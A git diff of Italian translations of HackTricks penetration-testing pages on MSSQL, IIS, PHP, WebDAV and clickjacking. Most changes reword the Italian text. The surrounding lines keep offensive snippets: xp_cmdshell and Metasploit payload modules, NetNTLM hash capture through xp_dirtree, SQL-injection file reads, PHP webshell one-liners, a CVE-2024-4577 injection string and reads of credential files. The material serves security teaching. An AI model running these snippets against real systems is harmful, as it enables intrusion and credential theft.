ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati. +- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro vengono replicate nei database appena creati. - **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database. - **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi. @@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Se **non hai** **le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte utilizzando un nome utente esistente. +> Se **non hai** **le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte usando un nome utente esistente. #### Metasploit (necessita di credenziali) ```bash @@ -64,9 +64,9 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` -### [**Forza bruta**](../../generic-hacking/brute-force.md#sql-server) +### [**Brute force**](../../generic-hacking/brute-force.md#sql-server) -### Enumerazione manuale +### Enumerazione Manuale #### Accesso @@ -159,7 +159,7 @@ SELECT * FROM sysusers - **Server** – Esempi includono database, logins, endpoint, gruppi di disponibilità e ruoli del server. - **Database** – Esempi coprono ruoli del database, ruoli delle applicazioni, schema, certificati, cataloghi di testo completo e utenti. - **Schema** – Include tabelle, viste, procedure, funzioni, sinonimi, ecc. -2. **Permission:** Associato agli securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli: +2. **Permission:** Associato agli securables di SQL Server, i permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli: - **Server Level** utilizzando logins - **Database Level** utilizzando utenti 3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente logins e utenti del database. Il controllo sull'accesso agli securables è esercitato attraverso la concessione o la negazione di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso. @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Eseguire comandi OS > [!CAUTION] -> Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli sysadmin) può usare **`xp_cmdshell`** con: +> Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli amministratori di sistema) può utilizzare **`xp_cmdshell`** con: > > ```sql > Use master @@ -236,7 +236,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c ``` ### Rubare l'hash NetNTLM / Attacco di Relay -Dovresti avviare un **server SMB** per catturare l'hash utilizzato nell'autenticazione (`impacket-smbserver` o `responder` ad esempio). +Dovresti avviare un **server SMB** per catturare l'hash utilizzato nell'autenticazione (`impacket-smbserver` o `responder` per esempio). ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' @@ -319,15 +319,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE ``` https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- ``` -### **RCE/Leggere file eseguendo script (Python e R)** +### **RCE/Eseguire file eseguendo script (Python e R)** MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questo codice sarà eseguito da un **utente diverso** rispetto a quello che utilizza **xp_cmdshell** per eseguire comandi. -Esempio che tenta di eseguire un **'R'** _"Hellow World!"_ **non funzionante**: +Esempio di tentativo di eseguire un **'R'** _"Hellow World!"_ **non funzionante**: ![](<../../images/image (393).png>) -Esempio che utilizza python configurato per eseguire diverse azioni: +Esempio di utilizzo di Python configurato per eseguire diverse azioni: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' @@ -372,7 +372,7 @@ Per **ulteriori esempi** controlla la [**fonte originale**](https://blog.waynesh È possibile **caricare un .NET dll all'interno di MSSQL con funzioni personalizzate**. Questo, tuttavia, **richiede accesso `dbo`** quindi hai bisogno di una connessione al database **come `sa` o un ruolo di Amministratore**. -[**Seguendo questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio. +[**Segui questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio. ### RCE con `autoadmin_task_agents` @@ -506,8 +506,8 @@ use_link [NAME] ``` > [!NOTE] > Se puoi impersonare un utente, anche se non è sysadmin, dovresti controllare se l'utente ha accesso ad altri database o server collegati. -> -> Tieni presente che una volta che sei sysadmin puoi impersonare qualsiasi altro utente: + +Nota che una volta che sei sysadmin puoi impersonare qualsiasi altro utente: ```sql -- Impersonate RegUser EXECUTE AS LOGIN = 'RegUser' @@ -531,25 +531,25 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) -## Estrazione delle password dai Server Collegati di SQL Server +## Estrazione delle password dai Linked Servers di SQL Server -Un attaccante può estrarre le password dei Server Collegati di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittare le password memorizzate per i Server Collegati può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords) +Un attaccante può estrarre le password dei Linked Servers di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittografare le password memorizzate per i Linked Servers può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords) -Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, devi avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server. +Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, è necessario avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server. -Dopo aver convalidato i tuoi permessi, devi configurare tre cose, che sono le seguenti: +Dopo aver convalidato le tue autorizzazioni, è necessario configurare tre cose, che sono le seguenti: 1. Abilitare TCP/IP sulle istanze di SQL Server; -2. Aggiungere un parametro di Avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806. +2. Aggiungere un parametro di avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806. 3. Abilitare la connessione remota per l'amministratore. -Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ogni passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittazione delle password. +Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittografia delle password. -Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo attacco: [Decrittazione delle Password dei Server Collegati al Database MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) +Per ulteriori informazioni, fare riferimento ai seguenti link riguardanti questo attacco: [Decrittografia delle password dei Linked Server di MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) -[Risoluzione dei Problemi con la Connessione Amministrativa Dedicata di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) +[Risoluzione dei problemi della connessione dedicata per l'amministratore di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) -## Escalation Locale dei Privilegi +## Escalation dei Privilegi Locali L'utente che esegue il server MSSQL avrà abilitato il token di privilegio **SeImpersonatePrivilege.**\ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di queste 2 pagine: @@ -578,7 +578,7 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu - [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/) - [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) -## Comandi Automatici HackTricks +## HackTricks Comandi Automatici ``` Protocol_Name: MSSQL #Protocol Abbreviation if there is one. Port_Number: 1433 #Comma separated if there is more than one. diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index d1d31a9dc..6f87f58c3 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016 ``` ## Eseguire file .config -Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) +Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica l'esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità [qui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/) @@ -50,7 +50,7 @@ iisfinal.txt [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) -Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già. +Usalo senza aggiungere alcun'estensione, i file che ne hanno bisogno ce l'hanno già. ## Traversata del percorso @@ -61,11 +61,11 @@ Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/fro > [!NOTE] > In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti a file "**assemblyIdentity**" e "**namespaces**". Con queste informazioni è possibile sapere **dove si trovano gli eseguibili** e scaricarli.\ > Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\ -> Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.\\ +> Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti. -Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ciascun file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**. +Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**. -### **Esplorare i file binari** +### **Esplorare file binari** Un esempio di accesso al file **web.config** è mostrato di seguito: ```markup @@ -88,7 +88,7 @@ I file trovati nella directory radice, come **/global.asax** e **/connectionstri ### **Namespace e Web.Config** -Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ogni file, come dimostrato con una richiesta per scaricare un altro **web.config**: +Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro **web.config**: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded @@ -197,7 +197,7 @@ Per accedere alla pagina web potresti dare un'occhiata al **Certificato SSL** se ### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\ -La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file. +La principale limitazione di questa tecnica se il server è vulnerabile è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file. Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` @@ -207,7 +207,7 @@ Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_ti Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner` -Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) +Un'idea carina per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) ### Bypass dell'autenticazione di base @@ -236,7 +236,7 @@ ASPXAUTH utilizza le seguenti informazioni: - **`decryptionIV`** (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri). - **`decryptionKey`** (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione. -Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie del secondo server nel primo** e impersonare l'utente.\ +Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie dal secondo server nel primo** e impersonare l'utente.\ Questo attacco ha funzionato in questo [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19). ## Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 447bad7e4..702ee0a34 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -70,11 +70,11 @@ Anche se `===` è **in uso**, potrebbero esserci errori che rendono la **compara ``` ### preg_match(/^.\*/) -**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **blacklist** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione). +**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **lista nera** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione). #### Bypass della nuova riga -Tuttavia, quando si delimita l'inizio della regexp `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di aggirare questo controllo. Esempio: +Tuttavia, quando si delimita l'inizio della regexp, `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) o se puoi inviare **dati JSON**, invialo in **più righe**: +Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) oppure, se puoi inviare **dati JSON**, invialo in **più righe**: ```php { "cmd": "cat /etc/passwd" @@ -155,7 +155,7 @@ Check: - **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che vengono utilizzate all'interno del codice. - I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\ -In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che **il valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome corrispondente in path2). +In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2). - Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\** per vedere se le directory php sono attivate. - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) @@ -184,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Compilare un corpo prima di impostare le intestazioni -Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\ +Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP del **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\ Nello scenario seguente, **l'attaccante ha fatto generare al server alcuni grandi errori**, e come puoi vedere nello schermo, quando PHP ha cercato di **modificare le informazioni dell'intestazione, non ci è riuscito** (quindi, ad esempio, l'intestazione CSP non è stata inviata all'utente): ![](<../../../images/image (1085).png>) @@ -200,10 +200,10 @@ php-ssrf.md ## Esecuzione di codice **system("ls");**\ -&#xNAN;**\`ls\`;**\ +**\`ls\`;**\ **shell_exec("ls");** -[Controlla questo per altre utili funzioni PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html) +[Controlla questo per altre funzioni PHP utili](php-useful-functions-disable_functions-open_basedir-bypass/index.html) ### **RCE tramite** **preg_replace()** ```php @@ -263,15 +263,15 @@ Per scoprire il numero di parentesi che devi chiudere: - `?order=id;}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ';'`). Probabilmente ci manca una o più parentesi. - `?order=id);}//`: otteniamo un **avviso**. Sembra corretto. -- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi di chiusura. +- `?order=id));}//`: otteniamo un messaggio di errore (`Parse error: syntax error, unexpected ')' i`). Probabilmente abbiamo troppe parentesi chiuse. -### **RCE tramite .httaccess** +### **RCE via .httaccess** -Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possano essere **eseguiti**). +Se puoi **caricare** un **.htaccess**, allora puoi **configurare** diverse cose e persino eseguire codice (configurando che i file con estensione .htaccess possono essere **eseguiti**). Diverse shell .htaccess possono essere trovate [qui](https://github.com/wireghoul/htshells) -### RCE tramite variabili Env +### RCE via Env Variables Se trovi una vulnerabilità che ti consente di **modificare le variabili env in PHP** (e un'altra per caricare file, anche se con ulteriori ricerche forse questo può essere aggirato), potresti abusare di questo comportamento per ottenere **RCE**. @@ -290,7 +290,7 @@ Se trovi una vulnerabilità che ti consente di **modificare le variabili env in ### XAMPP CGI RCE - CVE-2024-4577 -Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) come `php.exe cgi.php foo=bar`, il che consente un'iniezione di parametri. Questo permetterebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo: +Il server web analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) come `php.exe cgi.php foo=bar`, il che consente un'iniezione di parametri. Questo consentirebbe di iniettare i seguenti parametri per caricare il codice PHP dal corpo: ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` @@ -309,10 +309,10 @@ phpinfo(); ?> ``` -## Bypass della sanitizzazione PHP & Brain Fuck +## PHP Sanitization bypass & Brain Fuck -[**In questo post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\ -Inoltre viene proposta anche un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli: +[**In this post**](https://blog.redteam-pentesting.de/2024/moodle-rce/) è possibile trovare ottime idee per generare un codice PHP brain fuck con pochissimi caratteri consentiti.\ +Inoltre viene proposta un'interessante modalità per eseguire funzioni che consentono di bypassare diversi controlli: ```php (1)->{system($_GET[chr(97)])} ``` @@ -375,7 +375,7 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR easy shell code -Secondo [**questo writeup**](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo: +Secondo [**questo writeup** ](https://mgp25.com/ctf/Web-challenge/) è possibile generare un easy shellcode in questo modo: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 74c0657b8..53abfa4ab 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso il **caricamento e l'esecuzione di un webshell**. +Quando si tratta di un **server HTTP con WebDav** abilitato, è possibile **manipolare file** se si dispone delle giuste **credenziali**, solitamente verificate tramite **HTTP Basic Authentication**. Ottenere il controllo su un tale server comporta spesso **il caricamento e l'esecuzione di un webshell**. L'accesso al server WebDav richiede tipicamente **credenziali valide**, con [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) che è un metodo comune per acquisirle. Per superare le restrizioni sui caricamenti di file, specialmente quelle che impediscono l'esecuzione di script lato server, potresti: -- **Caricare** file con **estensioni eseguibili** direttamente se non ci sono restrizioni. +- **Caricare** file con **estensioni eseguibili** direttamente se non sono vietati. - **Rinominare** file non eseguibili caricati (come .txt) in un'estensione eseguibile. - **Copiare** file non eseguibili caricati, cambiando la loro estensione in una che sia eseguibile. @@ -48,7 +48,7 @@ Poi puoi **caricare** il tuo shell come un file ".**txt" e **copiare/spostarlo i ## Post credentials Se il Webdav stava usando un server Apache dovresti controllare i siti configurati in Apache. Comunemente:\ -\&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ +\_**/etc/apache2/sites-enabled/000-default**_ All'interno potresti trovare qualcosa come: ``` @@ -65,9 +65,9 @@ Come puoi vedere, ci sono i file con le **credenziali** valide per il server **w ``` /etc/apache2/users.password ``` -All'interno di questo tipo di file troverai il **nome utente** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti. +All'interno di questo tipo di file troverai il **username** e un **hash** della password. Queste sono le credenziali che il server webdav utilizza per autenticare gli utenti. -Puoi provare a **crackare** queste credenziali, o **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**: +Puoi provare a **crackare** queste credenziali, o a **aggiungerne di più** se per qualche motivo desideri **accedere** al server **webdav**: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md index 9b0f50096..8b568fda8 100644 --- a/src/pentesting-web/clickjacking.md +++ b/src/pentesting-web/clickjacking.md @@ -2,19 +2,19 @@ {{#include ../banners/hacktricks-training.md}} -## Cos'è il Clickjacking +## What is Clickjacking -In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti. +In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è o **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti. -### Trucco per precompilare i moduli +### Prepopulate forms trick A volte è possibile **compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia. -### Compilare il modulo con Drag\&Drop +### Populate form with Drag\&Drop Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di **Drag\&Drop** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/). -### Payload di base +### Basic Payload ```markup